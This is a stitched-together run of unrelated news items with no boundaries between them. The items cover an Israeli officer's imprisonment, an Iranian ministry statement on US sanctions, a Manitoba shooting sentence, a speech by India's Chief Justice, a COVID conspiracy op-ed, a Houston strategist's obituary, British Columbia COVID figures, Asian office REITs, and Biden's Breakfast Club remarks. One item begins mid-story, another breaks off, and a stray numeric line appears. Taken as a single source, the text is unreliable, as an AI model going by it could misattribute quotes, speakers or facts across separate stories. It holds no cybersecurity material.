He was held in a prison in Ramle, fired with a powerful desire to tell the world about his situation, about what he was going through, and above all that he had not spied for Syria or betrayed any military secrets. With the proficiency of the wily intelligence officer that he was, he persuaded a social worker at the prison to bring a cassette recorder and tapes into his isolated cell, recorded his life story and smuggled out the recordings to the journalists Zohara Ron, Anat Saragusti and Menachem Sheiz who reported in 1988, under the limitations of severe censorship, the fact of his arrest and trial.





Amits escapades in prison worried the Shin Bet and MI. One day he was visited by someone who introduced himself as Danny Cnaan. After his release from prison, Amit found out that his visitor had been the then-director of the Shin Bet, Yaakov Peri. He asked Amit not to disseminate confidential information and assured him that the defense establishment was attentive to his problems. If he would only wait patiently, he would have a greater chance of being released early.





Amit was in fact released after serving seven years of his sentence. His army rank was left untouched. He now gets an IDF pension and a disability allowance for his combat injuries. In his leisure time he does volunteer work in the association of former Egoz soldiers. But above all, he continues to feel that he was victimized by a predatory system that betrayed him and silenced every attempt to report on his case, for fear its own shameful exploits would be exposed to the world.





Look, I am not a paragon of virtue, he admits. I did a lot of dumb things during my military service, things contrary to protocol. But its a long way from there to what I went through. Its hard to describe in words the feeling during electric shock treatments. You dont feel like a living person, but like a slab of meat, skin and bones. For years I couldnt fall asleep and I had awful nightmares, which still happen.





Dont you feel responsible for your deeds?





The responsibility for my deeds is clear, and I assume full responsibility. I should not have agreed to enter a psychiatric hospital. Thats how it all began.





Why did you agree?





I wasnt asked about entering Mazor. The question makes it sound as if I had a choice, and chose to be committed. I was a soldier who obeyed orders. They decided to hospitalize me.





Is there anything you regret?





I regret the misery I had caused my family which, despite everything, supported and stayed with me. We remain united but because of me they suffered a great deal. That should not have happened.





Yossi Melman writes for Haaretz, where this piece originally published
Sanctioning Iranian individuals indicates US desperation

IRNA - Islamic Republic News Agency

Tehran, May 21, IRNA -- Spokesman for the Foreign Ministry Abbas Mousavi censured Thursday the US for sanctioning Iranian Interior Minister and Police Chief, saying that the move indicates the US desperation.

Such sanctions imposed over and over are fruitless, Mousavi underlined.

The sanctions addicted US regime has resorted to illegitimate and unilateral behavior against International Law by imposing sanctions on the individuals and organizations of the independent states, Mousavi noted.

He said that the US imposes sanctions on Iran because it faced failures vis-a-vis strong determination of the Iranian nation and government.

Recent US sanctions against Iran is the blatant violation of the UN Security Council Resolution 2231, he said, calling on the international community to make the US accountable for its actions taken against its international commitments.

Resolution 2231 (2015) urges full implementation of the JCPOA on the timetable set by the JCPOA and sets forth the next steps for the eventual removal of Security Council sanctions on Iran.

At the end of his remarks, the spokesman said the US move to sanction Iranian individuals, who are directly active in bringing about security to the nation and the region, is total disregard of the international law.

US Treasury Department imposed Wednesday the fresh sanctions against some Iranian individuals including Minister of Interior Abdolreza Rahmani Fazli and Police Chief Brigadier General Hossein Ashtari.

1483**1416

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Calling his actions cowardly and callous, a judge has sentenced a Winnipeg man to 10 years in prison for the unprovoked shooting of a stranger outside a Thompson house party.

Hey there, time traveller!

This article was published 22/5/2020 (607 days ago), so information in it may no longer be current.

Calling his actions "cowardly and callous," a judge has sentenced a Winnipeg man to 10 years in prison for the unprovoked shooting of a stranger outside a Thompson house party.

David Baker, 21, was convicted of attempted murder following a jury trial earlier this year.

Baker, who has been in custody since the October 2017 shooting, received credit for time served, reducing his remaining sentence to just over six years.

A jury heard evidence that Baker had been at a party at his aunts home when he learned the 23-year-old victim was on his way to pick up his girlfriend. Baker, who witnesses testified had been flirting with the victims girlfriend, said the victim "better come strapped (armed)," before reaching into a bag and pulling out a .22-calibre handgun and a bullet-proof vest.

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The victim arrived and pulled his intoxicated girlfriend outside. Baker, already outside, told the man twice to leave her alone before shooting him in the chest from a distance of about 2 1/2 metres.

Baker fled the scene and hours later sent a text to a friend saying: "LMAO, I had nowhere to go. I just blasted some s----y guy at my auntys."

First responders found the victim stumbling on the street with a bloody rag clutched to his chest. He was taken to Thompson hospital and then transferred to Health Sciences Centre in Winnipeg with a collapsed lung but no other life-threatening injuries.

Baker "simply did not want (the victim) to take his girlfriend from the party," and shot him to stop it, Queens Bench Justice Gerald Chartier said Friday. The shooting "was a cowardly and callous act directed at an unsuspecting person who was doing the responsible thing in picking up his girlfriend."

Jurors heard evidence Baker had been taking the opioid Percocet and other drugs prior to the shooting, but must have found this was not enough to diminish his intent to commit murder, Chartier said.

dean.pritchard@freepress.mb.ca
Shimla:

Chief Justice of India Justice Tirath Singh Thakur on Saturday said that corresponding upgradation of judiciary was a must to face the challenges of emerging social and economic scenario and observed that unpolluted and speedy justice still remains a distant dream.

Thakur said that the three pillars of our democratic set up have many challenges, which assume greater dimensions as we make all round progress, widening the gulf between haves and have nots.

In his address at 23rd convocation of Himachal Pradesh University here, Thakur said that the judiciary as third pillar has its own challenges of making access to judiciary easy and unpolluted and speedy justice remains a distant dream for variety of reasons, especially when the country is making rapid strides on the developmental front.

The legislature and executive face the formidable challenge of banishing poverty by preventing concentration of wealth in the hands of a few as a sizable section of people continue to suffer from all kinds of deprivation and the number of poor people is increasing ever year and challenges of clean drinking water, basic minimum health care, education and jobs for every able bodied person remains a daunting task even after 70 years of independence, he lamented.

Forty years of planned development, liberalisation and reforms has made India relevant to the world and enabled 700 million smartphones and 332 million internet users, but Indias consumer story is led by 130 million urban consumers and is only one side of the story, he said.

He said that land reforms have remained an unfulfilled project since 1950s, growth carries burden of shrinking jobs, workforce falling into urban middle class constitutes only two per cent of the population, educated middle class facing reduction in jobs and technology was replacing the labour, as he stressed need for immediate re-skilling to be job relevant.

A resurgent India faces challenges of global competitiveness, social inclusiveness, and environmental sustainability and it is not possible for the institutions handling these challenges without a resurgent idea of justice that is actually enforced. Increasing farmer suicides and resurgence cannot go together, he added.

Thakur said that the Constitution and directive principles guarantee social, economic and political justice for all without regard to caste, creed or colour and also ensure religious freedom but in a society long oppressed by foreign rule and stark social and economic disparities, constitutional objectives are not easy to achieve.

Presiding over the convocation, Governor Acharya Devvrat called for inculcating human values and said that the education is not only for earning bread and butter.

Asking the degree holders and medal winners to serve the society with missionary zeal and raise their voice against social evils like drugs and female foeticide, the governor also stressed the need to change the mindset about girls.

Our daughters had always brought laurels to the nation, the recent example of which was Rio Olympics, he added.

Chief Minister Virbhadra Singh expressed happiness that girls had outnumbered boys in winning gold medals and PhD degrees at the convocation and exhorted students to preserve their traditions, customs and culture in march to prosperity.

Chief Justice of Himachal Pradesh High Court Mansoor Ahmed Mir said that education has a two-fold function - utility and culture - and it must enable the pass outs to become more efficient and achieve the legitimate goal in life.

The students must be trained in quick, resolute and effective thinking and think logically and scientifically, he added.

Earlier, Justice Thakur was conferred with honorary degree of Doctor in Laws by the governor while Justice Bhawani Singh, former chief justice of Gujarat High Court was conferred PhD in law Honoris Causa. As many as 189 students were conferred PhD degree while 143 toppers were awarded gold medals.

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On Friday afternoons in the small Adirondack town of Wilmington, N.Y., local mountain bike enthusiasts gather for Hardy hour at the Hardy Road trailhead.

People congregate there, and go on rides and have a beer, maybe meeting a couple friends there, said Gwyneth Voyer-McGiver, 30, who was relatively new to both the sport and the town. I had showed up to Hardy hour alone. I was socially putting myself out there.

Matthew McNamara, who is 41 and both experienced at mountain biking and well established in the town, didnt neglect to notice. I saw her in the parking lot, and as we were going up this long hill and I passed her on the trail, he said.

She said she had heard about him through people she knew, and as he went by her, she said, I was out of breath but was trying to be friendly and act cool.
David Reinert holding a Q sign waits in line with others to enter a campaign rally with President Donald Trump Republican U.S. Senate candidate Rep. Lou Barletta, R-Pa., Thursday, August 2, 2018 in Wilkes-Barre, Pa. (AP Photo/Matt Rourke) Read more

Another virus is infecting the world in the wake of COVID-19 and it is hitting the United States with particular virulence.

A plague of conspiracy theories is attacking scientific facts about the pandemic, and replacing them with fake theories that will undermine efforts to tame it. Social media permits such misinformation to spread online with the speed of a virus, whether pushed by lone individuals, groups, or governments.

What makes these conspiracy theories particularly dangerous in this country is that some of the worst are amplified by far-right talking heads  and by President Donald Trump.

COVID-19 has created the perfect story for conspiracy theorists, rightly argues the Atlantic magazine, in a terrific new issue on Truth, Lies and Conspiracies in a Time of Pandemic. Isolated at home, anxious, distrustful of governments, many people are more susceptible to bizarre theories that claim to reveal secret knowledge.

Not surprisingly, state-controlled media in Russia (which has used conspiracy theories as an anti-Western foreign-policy tool for decades) are pushing the claim that the coronavirus is a U.S. bioweapon, developed to destroy China. Beijing is also promoting that theory.

Yet the pandemic has also unleashed a wave of more bizarre conspiracy theories such as the charge (also pushed by Russian media) that 5G networks are spreading the virus. This led arsonists across Europe to set cell phone towers ablaze.

 READ MORE: Trump's blame game with China can't disguise his COVID-19 failures I Trudy Rubin

Most widespread of all global conspiracy memes is that Bill Gates, the Microsoft founder-turned-philanthropist, is part of a secret plot to take over the global health system.

In posts on YouTube, Facebook, and Twitter, he is being falsely portrayed either as the founder of or profiteer from the virus, who seeks to track the worlds population by inserting microchip vaccination implants into their bodies. Conservative pundits such as Laura Ingraham, along with leading anti-vaccinators such as Robert F. Kennedy Jr., echo these claims.

However, if you want to fully grasp the virulence of the conspiracy virus, consider the tale of the 26-minute Plandemic video, which describes a fake secret plot by global elites, including Dr. Anthony Fauci, to profit from the pandemic and grab political power.

Narrated by a discredited scientist, the video claims masks can make wearers sick and assails future vaccines as dangerous. According to a stunning New York Times investigation, in the week after the videos May 4 posting on Facebook, YouTube, and other sites, it was viewed more than eight million times.

Although Facebook and YouTube had removed the video by May 7, it had already spread throughout social media, and added to the miasma of suspicion toward scientific experts. This will undermine future efforts to keep COVID-19 down.

So how does all this relate to the White House? President Trump is famously a master of conspiratorial thinking. He rose to political power by promoting the discredited birther conspiracy theory that Barack Obama was born in Kenya, and thus not eligible to be president.

The presidents endless Twitter feed has spread libraries worth of falsehoods, including claims of a conspiratorial plot by the deep state against him. His feed has promoted some of the movements most avidly spreading the conspiracy virus, such as the cultlike QAnon movement that is spreading widely online. QAnon has been an avid promoter of the attacks on Gates and the Plandemic video.

 READ MORE: Brutal propaganda war on COVID-19 means facts matter more than ever. I Trudy Rubin

Trump cooked up a baseless conspiracy theory against Joe Biden over Ukraine and is trying to do the same with Barack Obama, using an Obamagate tagline.

Trumps denigration of fact-based media and his political opponents as traitors makes it easy for videos like Plandemic to gain traction.

Most disturbing, the presidents conspiratorial mind-set will make it far harder to emerge from COVID-19 in the months ahead.

In the early days of the coronavirus, the president downplayed it and fed the belief by the conspiracy-minded that it was a hoax perpetrated by Democrats and the media. Even now, as he endorses unproven drugs, he is casting doubt on statistics about deaths from the virus.

His son Eric claimed recently on Fox News that Democratic governors were refusing to open up their states in order to prevent his fathers rallies. After Nov. 2, coronavirus will "magically all of a sudden go away, the younger Trump insisted. This kind of conspiracy promotion encourages the kind of behavior that may bring a virus resurgence.

And Trump promotes reopen rallies, in which the anti-vaccination movement is highly active. This undercuts Trumps own claims that a vaccination will swiftly end the pandemic; the anti-vaxxers will campaign furiously against the widespread vaccinations that offer the best hope of quelling COVID-19.

But the only vaccination against the conspiracy virus is for fact-based media to keep exposing the lies that underlie this infection and the commentators who promote them. And to keep challenging the conspiratorial claims from the White House that are an even greater threat to U.S. democracy than COVID-19.
Keith Wade's crusading campaign for student president at the University of Houston is what first caught legendary U.S. Rep. Mickey Leland's eye. Wade sought the position after a white student told him a black person couldnt win.

Wade was soft-spoken but principled. He won people over with what friends described as a disarming charm. And his great political talent, they said, was in building coalitions. He did not ruffle feathers; he brought people together.

For his college campaign, he tapped a white student from a popular sorority to join his ticket, widening his reach and winning to become the first black president. He soon would deploy that coalition-building prowess in Lelands office, as district director, and then was behind the scenes for just about every big name in Houston politics for four decades  mayors Annise Parker and Sylvester Turner, longtime state senator and now Harris County Commissioner Rodney Ellis, and U.S. Rep. Sheila Jackson Lee, among others.

No one (in the public) ever heard of Keith until he died, said longtime friend and client Jolanda Jones, a former HISD trustee and City Council member. But everyone on the inside knew who Keith was. If you were in the annals of power, or if you wanted to be a player in politics, and you did your homework, you knew you had to call Keith Wade.

Wade, 65, died Thursday of COVID-19, according to the officials he helped elect. He is survived by three adult children. Jones said he was selfless even in suffering, saying he did not want to use a test or take a hospital bed that somebody else needed more.

The news of his death elicited praise and tributes from many corners of Houston politics. Turner said he was a tireless advocate for labor and the disenfranchised, and the mayor called him a friend and a brother.

This loss cuts deep, said Ellis. Houston has lost a quiet champion, and Ive lost a dear friend.

Wade was born in 1955 and spent his first nine years in the segregated south. His mother taught English in El Campo schools, and his father worked several jobs. A minister uncle would often bring him to civil rights marches and rallies outside Texas.

He would become a behind-the-scenes mover, but it almost was not that way. In 1983, Leland was trying to find someone to run for a district seat on Houstons City Council. He told Ellis, his chief of staff at the time, to give Wade a call. Ellis said he tried every number he had, but he could not reach him.

The next day, Leland asked Ellis if he would run. He did, and won, catapulting his decades-long career at City Hall, the Texas Senate and now Commissioners Court. He said every time he told that story on the stump  including as recently as this year  Wade would joke: You never called me.

I owe whatever political opportunities Ive had because I couldnt find Keith in 1983, Ellis said.

Wade, however, relished being behind the scenes, slightly removed from public scrutiny while still exerting influence with public officials. And he was the go-to guy, Ellis said.

Leland was drawn to his ability to disarm people, Ellis said. Wade could deliver bad news without setting someone off. He would set them at ease, and he always was kind.

What I used to tell people all the time was: Hes the antidote to cynicism in politics, said Grant Martin, a San Francisco-based political strategist who worked with Wade on numerous Houston campaigns. In the middle of a crisis, hes the calm voice. Whenever you want to stick it to your opponent, hes the guy that makes you take the long view. Somehow he managed to keep that lack of cynicism his whole life in one of the most cynical businesses there is.

Martin said Wade often would say he came from the Mickey Leland school of politics, forever seeking common ground, consensus.

On high-profile campaigns, Wade would try to frame them in the larger picture, Martin said. He would tell dozens of campaign staffers gathered before the launch of a chaotic mayoral campaign stories about how his mother would go shopping and would not be allowed to try on a dress because the store managers thought they would not be able to sell clothes worn by a black woman.

He thought of it in terms of the long struggle, Martin said. Not the battle, like, Im going to go in and win this election. It was always the longer struggle.

And that talent to disarm prevailed. He was the go-to guy, for instance, when Parker or Turner sought endorsements from groups who felt the candidate had not heeded their advice or backed their picks for city board appointments.

He wasnt a deal-cutter. It wasnt like he would say, Ill get you the next three appointments you want if you endorse the mayor, Martin said. It was, Let me explain to you why this happened and let me understand what you want out of your city government and see if we can make that happen.

Jones, the former council member known for what she called her often aggressive positioning, said that was the case with her, too. Wade, she said, was the only one who could get her to slow down, or stop, when she wanted to fight. He was an influential person in her life, and her son was one of several who saw him as a father, she said. She called him her Yoda.

He would deploy colorful analogies to convince Jones of a new approach. He once told her she wanted politics to be like a speed boat, but it actually was a barge  it could not change on a dime. Or, that she was a car on the German Autobahn and politics was happening on the sidewalk. She needed to be more careful, he said, or she would run everybody over.

He knew he had to nuance some of my bull-you-over instincts, she said. He was like my emergency brake.

Jones said he lived the proverb: It takes a village to raise a child. He had a village of like-minded people, Jones said, and he was the glue that held it together.

Keith was just like this silent mover, shaker, creator of coalitions, that helped the least, the last and the lost, she said.
Kevin Bradford is a seventh-grade math teacher in Westchester County at Isaac E. Young Middle School in New Rochelle. With stay-at-home-orders, his commute from Manhattan has certainly gotten easier, but he cant say the same about remote learning (and hes been in education for 26 years). The students, they are constantly forgetting the password, he said.

But as a dedicated partner of and beer curator for Harlem Hops, a craft beer bar in central Harlem, he still gets to leave his home on evenings and weekends. Since the pandemic, Mr. Bradford has gone from welcoming customers to his bar to bringing the bar to his customers. He makes as many as 20 craft beer deliveries a day in a 20-block radius. I am getting my exercise biking throughout Harlem, he said.

Mr. Bradford, 50, lives in Washington Heights with his wife, Felicia Bradford, 48, and their two sons, Mackie, 15 and Hunter, 12.
The U.S. Equal Employment Opportunity Commission said a northern New Mexico hospital will pay $98,000 to settle a discrimination and retaliation lawsuit filed by the agency.

The case against Christus St. Vincent Regional Medical Center in Santa Fe was filed on behalf of an employee who claimed a supervisor subjected her to a hostile work environment because she is deaf. The lawsuit accused the hospital of failing to provide reasonable accommodations for Asheley Coriz and firing her because of her disability and complaints she made about her supervisors conduct.

Under the terms of the court-approved settlement, Coriz will get $98,000 in back pay and compensatory damages. Her personnel records also will be expunged, and she will receive a letter of acknowledgment from a hospital manager.

The decree also enjoins Christus St. Vincent from engaging in disability discrimination and retaliation and requires hospital officials to revise their equal employment opportunity and reasonable accommodation policies.

The hospital will provide annual training to all employees and report to the EEOC on any complaints of disability discrimination during the decrees three-year term.

Sandra Dominguez, human resources vice president at Christus St. Vincent, said the hospital supports all legal requirements under the Americans with Disabilities Act.

Cases such as this serve as a reminder of the importance of ensuring that our everyday practices adhere to all legal requirements, she said.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

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A total of 167 facilities of the Ghana Police Service in the Volta Region are being disinfected by Zoomlion Ghana Limited as part of a nationwide exercise against the spread of the Coronavirus disease.



Reverend Johnson Avuletey, Deputy Volta Regional Minister who launched the one week activity, said the crucial role played by the Police Service required that their safety was made a national priority during the pandemic.



He commended the Service's support towards the implementation of national COVID-19 preventive protocols, and assured that the Regional Coordinating Council was working assiduously to keep the Region safe.



Deputy Commissioner of Police (DCOP) Oduro Kwarteng, Volta Regional Police Commander, said the exercise would disinfect 59 police stations and 108 other facilities including accommodation quarters.



He urged the public to help the Service effectively deliver in the fight against the pandemic towards the return of public life to normalcy within the shortest possible time.



Mr Solomon Denyo, General Manager of Zoomlion in the Volta Region, said a workforce of 500 had been engaged for the exercise, and appealed to benevolent organizations and individuals to help sanitize high risk public avenues.

Source: Peacefmonline









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The decision of Jamal Khashoggis family to forgive Saudis accused of his murder was described as both shocking and anticipated by a United Nations investigator who has said the former columnist was the victim of a state killing.

All of us who, over the last 20 months, have reported on the gruesome execution of Jamal Khashoggi, and absence of accountability for his killing, expected this, Agnes Callamard, an expert on extrajudicial executions at the office of the UN High Commissioner for Human Rights, said in a statement Friday. The Saudi authorities are playing out what they hope will be the final act in their well-rehearsed parody of justice in front of an international community far too ready to be deceived.

Khashoggi was a Saudi writer and former government insider who moved to the U.S. in 2017, where he began writing a column in the Washington Post that was often highly critical of the kingdoms crown prince, Mohammed bin Salman. His murder and dismemberment at the Saudi consulate in Istanbul in October 2018 sparked international outrage, shocked investors in the kingdom and led to Callamards UN probe.

Khashoggis family announced on Friday that they forgave the killers, a decision likely to result in a legal reprieve to the five men sentenced to death for the operation. We, the sons of the martyr Jamal Khashoggi, announce that we forgive those who killed our father as we hope and seek reward from God Almighty, Salah Khashoggi, one of the writers sons, wrote on Twitter.

A Saudi court sentenced the men to death in December but ruled that the assassination wasnt premeditated and said it didnt have enough evidence to incriminate two top officials close to Prince Mohammed.

A report by Callamard last year found that Saudi agents were recorded discussing how to dismember Khashoggis body several minutes before he had entered the consulate in Istanbul, referring to him as a sacrificial lamb. Callamard recommended further investigation into Prince Mohammed and his adviser, Saud al-Qahtani, over the murder.

A follow-up investigation must now be undertaken  an investigation focused on the chain of command and associated individual liabilities, including at the highest levels of the state, she said on Friday. Justice for Jamal means that we as an international community must do all we can to prevent and stop executions of journalists.
Another 12 cases of COVID-19 have been confirmed in B.C., and three more people have died.

Provincial Health Officer Dr. Bonnie Henry announced Thursday that B.C. has now confirmed 2,479 total cases of the novel coronavirus, including 152 people who have died. A total of 2,020 patients have recovered from their illness, which means there are now 307 active cases in the province.

As of Thursday, there are 43 COVID-19 patients in hospital, including eight in intensive care.

While B.C. seems to have flattened the curve of infection, Health Minister Adrian Dix pointed out that dozens of people here have died of this virus, and just today, 113 new deaths were reported in Ontario and Quebec.

He urged British Columbians to take personal responsibility for keeping infections at manageable levels, and that means living with small inconveniences like leaving contact information when dining in at newly reopened restaurants.

"These small actions  are what we owe to one another to help prevent the spread of the virus," Dix said.

"It's not a question of rights, but a question of our obligations as human beings to one another during an extraordinarily difficult time and I ask people with all my heart to follow the recommendations around physical distancing, to be generous and cooperative and open-hearted with one another."

Health officials have confirmed a new cases of the novel coronavirus in an inmate at Mountain Institution in Agassiz, who had recently transferred from Matsqui Institution in Abbotsford. Public health teams from Fraser Health are investigating at both federal prisons.

Meanwhile, the outbreak at the United Poultry processing plant in Vancouver has been declared over

There are currently 14 active outbreaks in long-term care and assisted living, along with three in hospital acute care units.

Henry spoke to the recent recommendation from her federal counterparts suggesting people should wear masks when it isn't possible to keep a physical distance from others, a move she described as an act of respect and politeness.

Story continues

She said wearing masks can provide an extra layer of protection for those around you in close quarters like public transit and small stores or during appointments with health-care providers or hair stylists.

But Henry stressed that not everyone will be able to wear a mask and those who do need to clean their masks regularly.

Men dying at higher rate in B.C.

Henry also addressed recent media reports that show women account for the majority of people who've died of COVID-19 in Canada.

She said the opposite is true in B.C. While male patients make up 48 per cent of confirmed cases to date, 60 per cent of those hospitalized and 62 per cent of those who have died are men.

Henry said there are studies under way around the world attempting to determine the reason for gender imbalances in deaths and hospitalizations.

Meanwhile, the health minister provided an update on the provincial order stating that long-term care staff can only work at a single facility.

Dix said that of the 545 facilities that have employed people who work in multiple sites, 499 have completed their single-site plan.

Dix described the process of implementing this order as complex but necessary to control the spread of the virus.

Camping in provincial parks limited to B.C. residents

Earlier Thursday, the province announced B.C. Parks campsites will be closed to non-B.C. residents this summer.

Non-B.C. residents with existing reservations must contact the B.C. Parks call centre before June 15 to cancel and receive a full refund.

Also Thursday, TransLink announced it was beginning to restore service to pre-COVID-19 pandemic levels. It is recommending commuters wear masks while riding on public transit.

If you have a COVID-19-related story we should pursue that affects British Columbians, please email us at impact@cbc.ca
A man with a mask on taking a walk at Marina Bay Sands in Singapore's central business district seen in the background on April 1, 2020. Suhaimi Abdullah | Getty Images

The future for office commercial space looks increasingly uncertain, as more and more people work from home and some employers consider making it a permanent arrangement  even after the pandemic. Transactions for office leases or sales are already significantly lower this year compared to a similar period in 2019, according to data from real estate companies. The pandemic could significantly affect office real estate investment trusts, or REITs, at least in the short to medium term, according to analysts. However, some are still somewhat positive on the longer term outlook. REITs are companies that manage a portfolio of properties such as offices, malls, or hotels. Income generated from those assets, after accounting for fees, is distributed as dividends to shareholders. The risk to real estate is higher when the exposure to coworking spaces is taken into account, with office REITs in some Asian financial centers  such as those in Singapore  being particularly exposed. Investors generally find REITs attractive for their dividend payout and the potential for capital appreciation, and as a diversification in a portfolio of stocks, bonds and cash. For now, here's what investors need to know.

Will office space get cut?

An increasing number of companies could allow their employees to work from home for an extended period of time, analysts predicted. Companies could even look at longer-term flexible working arrangements, spurring concerns of a smaller real estate footprint ahead, said Derek Tan, head of property research at Singapore's DBS Bank. Rentals may get affected as a result. Esther Liu, director at S&P Global Ratings, said: "We expect that the recessionary conditions will soften leasing demand in major central business districts across Asia Pacific. We also believe the 'working-from-home' measures may lead to a shift in longer term demand, as they present companies with the opportunity to cut space requirements." However, that shift will take time, and there won't be a "significant drop" in occupancy in the near term, particularly in the prime, central locations, she added.

Co-working (flex-office) generally has been a major disruptor to the office sector in recent years, and a major contributor to the take-up of office space. However, COVID-19 makes this business model difficult... Chris Robinson APAC head of liquid real assets for DWS

Overall, transactions have plunged in the first quarter of this year, industry reports show. Office sale transactions across Asia-Pacific fell 36% year-on-year, said real estate services firm, JLL. According to property firm Knight Frank, 73% of its Asia-Pacific markets saw a drop in office leasing demand from April 1 to April 14. Overall, in the first quarter, its Asia-Pacific commercial transaction volumes fell 51% year-on-year to $21.6 billion, data from the firm showed. Hong Kong was among the top declines and fell 80%, while in Singapore, commercial transactions tumbled 75%.

Are office REITs a buy?

Investors should take a long-term view on office REITs, analysts said. There will be more immediate pressure on operations and cost for companies, but ultimately the impact on office REITs will be "manageable and temporary," said Ken Foong, equity analyst at Morningstar. In Singapore, a major financial hub in Asia, balance sheets of REITs "remain sound," said Foong, adding that they are "better positioned" now than during the global financial crisis in 2008. But investors should expect that distribution of dividends might not be the same as before. "Given the ongoing challenges and costs in the near-term, it is possible REITs may delay portions of their distributions to a later date, or until their full year results are announced," Foong said. "Providing options for unitholders to participate in a distribution reinvestment plan to preserve cash in the near term is another possible scenario."

One headwind for office REITs is that capital expenditure could go up with the need to reconfigure spaces to cater for distancing requirements, said Chris Robinson, APAC head of liquid real assets for DWS. For investors who are still keen, here are some analysts' top picks for Asia REITs: Morningstar: Keppel REIT, Capitaland Commercial Trust, Suntec REIT

DBS: Keppel REIT

DWS: "Neutral" on the office sector, which means it's neither positive nor negative.

Are coworking spaces a risk?

Coworking operators such as WeWork have been badly hit as their offices emptied out amid global lockdowns and employees were ordered to work from home. WeWork has reportedly sought rent rebates from landlords, as thousands of its tenant companies halt rent payments or try to break their leases. That problem worsened as the company expanded aggressively last year before the pandemic hit, and signed hundreds of new leases. In Asia-Pacific, office REITs in Singapore are among the most exposed to coworking operators, analysts say. That exposure for Singapore's listed REITs is among the highest  at close to 5%, according to DWS' Robinson. It is lower for those in Hong Kong, Sydney and Tokyo, he said.
B illionaire financier George Soros has warned that the European Unions survival is under threat from coronavirus unless it can come up with the financial tools to help weak members such as Italy.

Soros wants to see the EU issue bonds, action the bloc has so far decided against taking.

Soros said: If the EU is unable to consider it now, it may not be able to survive the challenges it currently confronts. This is not a theoretical possibility; it may be the tragic reality.

Soros added that the EU would have to maintain its AAA credit rating to issue such debt - and thus have to have tax raising powers to cover the cost of the bonds.

Asked about Brexit, Soros said he was particularly worried about Italy: "What would be left of Europe without Italy? The relaxation of state aid rules, which favour Germany, has been particularly unfair to Italy, which was already the sick man of Europe and then the hardest hit by COVID-19."

Soros used Quantum Fund in 1992 to bet successfully that sterling was overvalued against the Deutsche Mark, forcing then Prime Minister John Major to pull the pound out of the European Exchange Rate Mechanism.
Presumptive Democratic Nominee Joe Biden has come under fire for comments he made during an interview with The Breakfast Club radio program, in which he quipped that if African American voters support President Trump over him in November, they arent black.

"Well, Ill tell you what, if you have a problem figuring out whether you're for me or Trump, then you ain't black," Biden told radio personality Charlamagne tha God, who hosts the program, which is particularly popular among black millennials, a voting bloc the former vice president is hoping to woo.

"It don't have nothing to do with Trump, it has to do with the fact -- I want something for my community," Charlamagne replied.

Take a look at my record! I extended the Voting Rights Act 25 years' I have a record that is second to none. The NAACP has endorsed me every time I've run. I mean, come on, take a look at the record," Biden fired back.

(MORE: Bidens veep search enters new phase as selection committee steps up activity)

Later Friday, Biden joined a call with the National Black Chamber of Commerce and conceded that he was much too cavalier in his remarks, and said he did not take the black vote for granted.

"I know the comments have come off like I was taking the African-American vote for granted. But nothing could be further from the truth, Biden said on the call.

"I shouldn't have been such a wise guy," Biden added, I don't take [the black vote] for granted at all. And no one, no one should have to vote for any party, based on their race, their religion, their background. There are African-Americans who think that Trump was worth voting for. I don't think so, I'm prepared to put my record against his. That was the bottom line and it was really unfortunate, I shouldn't have been so cavalier, Biden said.

Biden also offered strong criticism of President Trumps rhetoric on race.

Donald Trump...this is the same man who called Africa -- you know -- s-hole countries, while also claiming there were fine people on both sides in Charlottesville as those racists came out of the fields carrying torches. He's lied about President Obama's birth certificate, Biden said.

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Biden has consistently criticized Trumps rhetoric on race, frequently charging in speeches on the campaign trail that the president is fanning the flames of white supremacy and hate in America. The presumptive Democratic nominee has also made the tragic 2017 events in Charlottesville, Virginia, when a woman was killed protesting a rally attended by white supremacists, a centerpiece of his campaign, as well as Trumps comments that there were very fine people, on both sides that took part in the event.

PHOTO: In this screen grab taken from a video posted on YouTube, Joe Biden appears on The Breakfast Club. (Breakfast Club Power/YouTube)

Earlier Friday, Bidens campaign said the comments were made in jest and were intended to show Bidens confidence in his record supporting minority communities as opposed to President Trumps record which has included a travel ban that affected people coming from predominantly Muslim countries, hardline immigration policies and comments about blacks and Latinos seen as offensive by many.

Vice President Biden spent his career fighting alongside and for the African American community. He won his party's nomination by earning every vote and meeting people where they are and that's exactly what he intends to do this November, Symone Sanders, a senior advisor for Biden tweeted following the interview.

The comments made at the end of the Breakfast Club interview were in jest, but lets be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trumps any day. Period, Sanders continued.

Bidens comments that sparked criticism, which came towards the end of a nearly 20-minute long, at times combative, interview that touched on Bidens views on criminal justice reform, marijuana legalization, and delved into his role in crafting the controversial 1994 Crime Bill that critics argue had a disproportionate impact on minority communities and which critics say helped lay the groundwork for mass incarceration.

In a statement given to the news website Mediaite, Charlamagne said his response to Biden during the interview stood on its own.

We have been loyal to Democrats for a long time, black people have invested a lot into that party and the return on investment has not been great, he wrote. As Biden said in our brief interview when I asked him if Dems owe the black community ABSOLUTELY was his answer. So lets see what you got!!! Votes are Quid Pro Quo. You cant possibly want me to Fear Trump MORE than I want something for my people, the statement read.

President Donald Trumps reelection campaign quickly sought to cast the comment as racist and condescending.

"Joe Biden believes Black men and women are incapable of being independent or free thinking. He truly believes that he, a 77-year-old white man, should dictate how Black people should behave," Katrina Pierson, a senior adviser to Trumps campaign, who is also African-American, wrote in a statement released Friday morning.

That is the most arrogant, condescending comment Ive heard in a very long time and thats saying something, Sen. Tim Scott, R-S.C., the lone black Republican in the U.S. Senate, said in an interview Friday on Fox News.

Until the COVID-19 pandemic decimated the American economy, Trump has often attempted to appeal to black voters by citing record low unemployment levels.

The Democrats always play the Race Card, when in fact they have done so little for our Nations great African American people. Now, lowest unemployment in U.S. history, and only getting better, Trump said in a July 2019 tweet.

While black unemployment has reached record lows during the Trump administration according to data from the Bureau of Labor Statistics, many economists view the continued economic growth since the middle of 2009, when Democratic President Barack Obama was in office, as the primary explanation for hiring, according to a fact check of Trumps claims done by the Associated Press.

(MORE: Biden campaign focuses on diverse coalition building with new senior leadership)

Bidens remarks drew criticism from some activists who say he still has work to do to engage minority communities and win their votes this November.

The comments were offensive, insensitive, out of touch...Its just not good for the presumed future leader of the Democratic Party in our nation to say anything like that, Yvette Simpson, an ABC News contributor who leads the progressive group Democracy for America, said Friday of Bidens comments on The Breakfast Club.

I think it sounds like [Biden] is taking this for granted. I think he believes that anybody who doesn't like Trump is automatically going to vote for him. And that he doesn't have to earn the vote of base voters, whether they be women or black and brown people or what have you. That's false, Simpson added.

